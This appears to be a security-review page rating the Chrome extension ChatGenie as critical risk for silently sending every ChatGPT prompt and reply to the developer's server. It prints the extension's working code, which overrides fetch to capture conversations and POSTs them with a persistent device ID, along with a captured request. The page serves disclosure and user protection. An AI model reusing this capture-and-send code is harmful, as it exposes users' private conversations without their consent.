Is ChatGenie for Chatgpt safe?

Critical risk

ChatGenie is critical risk. ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID. We confirmed this with a planted test prompt.

Moses Guyenv1.1.6Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

ChatGenie sends every ChatGPT prompt and reply to a third-party server

ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID.

We confirmed this with a planted test prompt.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You type a message to ChatGPT on chatgpt.com and wait for its reply to finish streaming.

No extension UI action is needed; this happens on ordinary use of chatgpt.com.

The extension did this

The extension reconstructs your full message and ChatGPT's full reply from the network response, then sends both to a server it controls.

A persistent per-device ID is attached to the request.

02EvidenceCODE COMPARE
The code that does this

Fetch override captures the conversation, then the service worker POSTs it out

What it actually does
MAIN-world fetch overridecontent-script-main.js
function installFetchOverride() {
  if (!location.href.toLowerCase().startsWith('https://chatgpt.com/')) return false;
  const { fetch: originalFetch } = window;

  function isConversationRequest(url) {
    try {
      return new URL(url).pathname.endsWith('/conversation');
    } catch {
      return false;
    }
  }

  window.fetch = async (...args) => {
    const [request, init] = args;
    const url = request.url || request.toString();
    const response = await originalFetch(...args);
    const contentType = response.headers.get('content-type') || '';

    if (!isConversationRequest(url) || !contentType.includes('text/event-stream')) {
      return response;
    }

    let requestBody;
    try { requestBody = JSON.parse(init.body); } catch {}
    let conversationId = requestBody.conversation_id;
    const outgoingMessages = requestBody.messages;

    const { readable, writable } = new TransformStream();
    if (response.body) {
      const reader = response.body.getReader();
      const writer = writable.getWriter();
      const decoder = new TextDecoder();
      let buffer = '', replyText = '', replyMessageId = '', model = '';

      (async () => {
        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          buffer += decoder.decode(value, { stream: true });
          let boundary;
          while ((boundary = buffer.indexOf('\n\n')) !== -1) {
            const rawEvent = buffer.slice(0, boundary).trim();
            buffer = buffer.slice(boundary + 2);
            if (!rawEvent) continue;
            const evt = parseSSE(rawEvent);
            if (evt.event === 'delta' || evt.event === 'message') {
              let data;
              try { data = JSON.parse(evt.data); } catch {}
              if (data) {
                if (typeof data.v === 'string') {
                  replyText += data.v;
                } else if (data.v && data.v.length > 0) {
                  for (const op of data.v) {
                    if (op.v && op.o === 'append' && typeof op.v === 'string') replyText += op.v;
                  }
                } else if (data.v && data.v.message && data.v.message.id) {
                  replyMessageId = data.v.message.id;
                } else if (data.metadata) {
                  if (data.conversation_id) conversationId = data.conversation_id;
                  if (data.metadata.model_slug) model = data.metadata.model_slug;
                }
              }
            }
            writer.write(value);
          }
        }
        writer.close();

        for (const msg of outgoingMessages || []) {
          if (msg.content && msg.content.parts && msg.content.parts.length > 0) {
            postToPage({
              client_ts: Date.now(), session_id: conversationId, message_id: msg.id,
              chat_domain: 'chatgpt.com', model, prompt: msg.content.parts.join(''),
              role: 'user', is_subscribed: false, language: ''
            });
          }
        }
        postToPage({
          client_ts: Date.now(), session_id: conversationId, message_id: replyMessageId,
          chat_domain: 'chatgpt.com', model, prompt: replyText,
          role: 'system', is_subscribed: false, language: ''
        });
      })();

      return new Response(readable, { headers: response.headers, status: response.status, statusText: response.statusText });
    }
    return response;
  };

  return true;
};

function postToPage(payload) {
  window.postMessage({ source: 'content-script', payload });
}

function parseSSE(rawEvent) {
  const lines = rawEvent.split(/\r?\n/);
  const evt = { event: 'message', data: '', id: '', retry: '' };
  for (const line of lines) {
    if (line.startsWith(':')) continue;
    const [field, ...rest] = line.split(':');
    const value = rest.join(':').trimStart();
    if (field === 'event') evt.event = value;
    else if (field === 'data') evt.data += value + '\n';
    else if (field === 'id') evt.id = value;
    else if (field === 'retry') evt.retry = value;
  }
  if (evt.data.endsWith('\n')) evt.data = evt.data.slice(0, -1);
  return evt;
}
Isolated-world relay to the background service workercontent-script.js
const MSG_TYPE = 'leak_prevention_msg';

function relayToBackground() {
  if (window.top !== window) return false; // only run in the top frame
  return window.addEventListener('message', (event) => {
    if (event.source !== window || !event.data || event.data.source !== 'content-script') return;
    chrome.runtime.sendMessage({ type: MSG_TYPE, data: event.data.payload });
  }), true;
}
Background service worker POSTs to the leak-prevention endpointbackground.js
const MSG_TYPE = 'leak_prevention_msg';
const LEAK_PREVENTION_ENDPOINT = 'https://api.chatgpt-chrome.com/api/leakprevention/v2/check';

function showSensitiveWarning() {
  alert("Your prompt may have sensitive information inside. This message won't be shown again for this tab.");
}

async function submitForScreening(payload, tabId) {
  payload.cid = await Analytics.getOrCreateClientId(); // persistent per-device UUID, reused forever
  const response = await fetch(LEAK_PREVENTION_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(payload)
  });
  if (response.ok) {
    const result = await response.json();
    if (result.verdict === 'unsafe' && tabId) {
      const shownKey = `shown_${tabId}`;
      const alreadyShown = await chrome.storage.session.get([shownKey]);
      if (!alreadyShown[shownKey]) {
        await chrome.storage.session.set({ [shownKey]: true });
        await chrome.scripting.executeScript({ target: { tabId }, func: showSensitiveWarning });
      }
    }
  }
}

function initLeakPreventionListener() {
  chrome.runtime.onMessage.addListener((message, sender) => {
    if (message && message.type === MSG_TYPE) {
      submitForScreening(message.data, sender.tab && sender.tab.id);
    }
  });
  return true;
}
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://api.chatgpt-chrome.com/api/leakprevention/v2/check
200 OK with a JSON {verdict} field; when verdict is 'unsafe' the extension shows a one-time in-page warning, but the prompt has already left the device regardless of the verdict.
Headers
Content-Typeapplication/json
Body
{
  "client_ts": 1725389421000,
  "session_id": "68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44",
  "message_id": "a3f7e912-88c4-4a1b-9e02-7d5c1f3a9b60",
  "chat_domain": "chatgpt.com",
  "model": "gpt-4o",
  "prompt": "What are the side effects of ibuprofen? (illustrative)",
  "role": "user",
  "is_subscribed": false,
  "language": "",
  "cid": "4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02"
}
04EvidenceFIELD TABLE
Fields observed in the POST to api.chatgpt-chrome.com
FieldValueWhy it matters
Your message text
What are the side effects of ibuprofen?The full text you typed to ChatGPT, unmodified.
ChatGPT's reply text
Common side effects of ibuprofen include stomach upset...The full text of the AI's response to your message.
Device ID (cid)
4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02A UUID stored in chrome.storage.local and reused indefinitely, tying every submission back to the same device.
Conversation ID
68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44ChatGPT's own conversation identifier, letting the receiving server group your messages by conversation.
Model used
gpt-4oWhich ChatGPT model produced the answer.
05EvidenceTHIRD PARTY LIST
Where your conversation goes
  • api.chatgpt-chrome.com

    Receives the full prompt and AI reply text plus the persistent device ID on every ChatGPT conversation turn. Operated by ChatGenie's developer, not OpenAI.

Updated 10 September 2026lgfokdfepidpjodalhpbjindjackhidg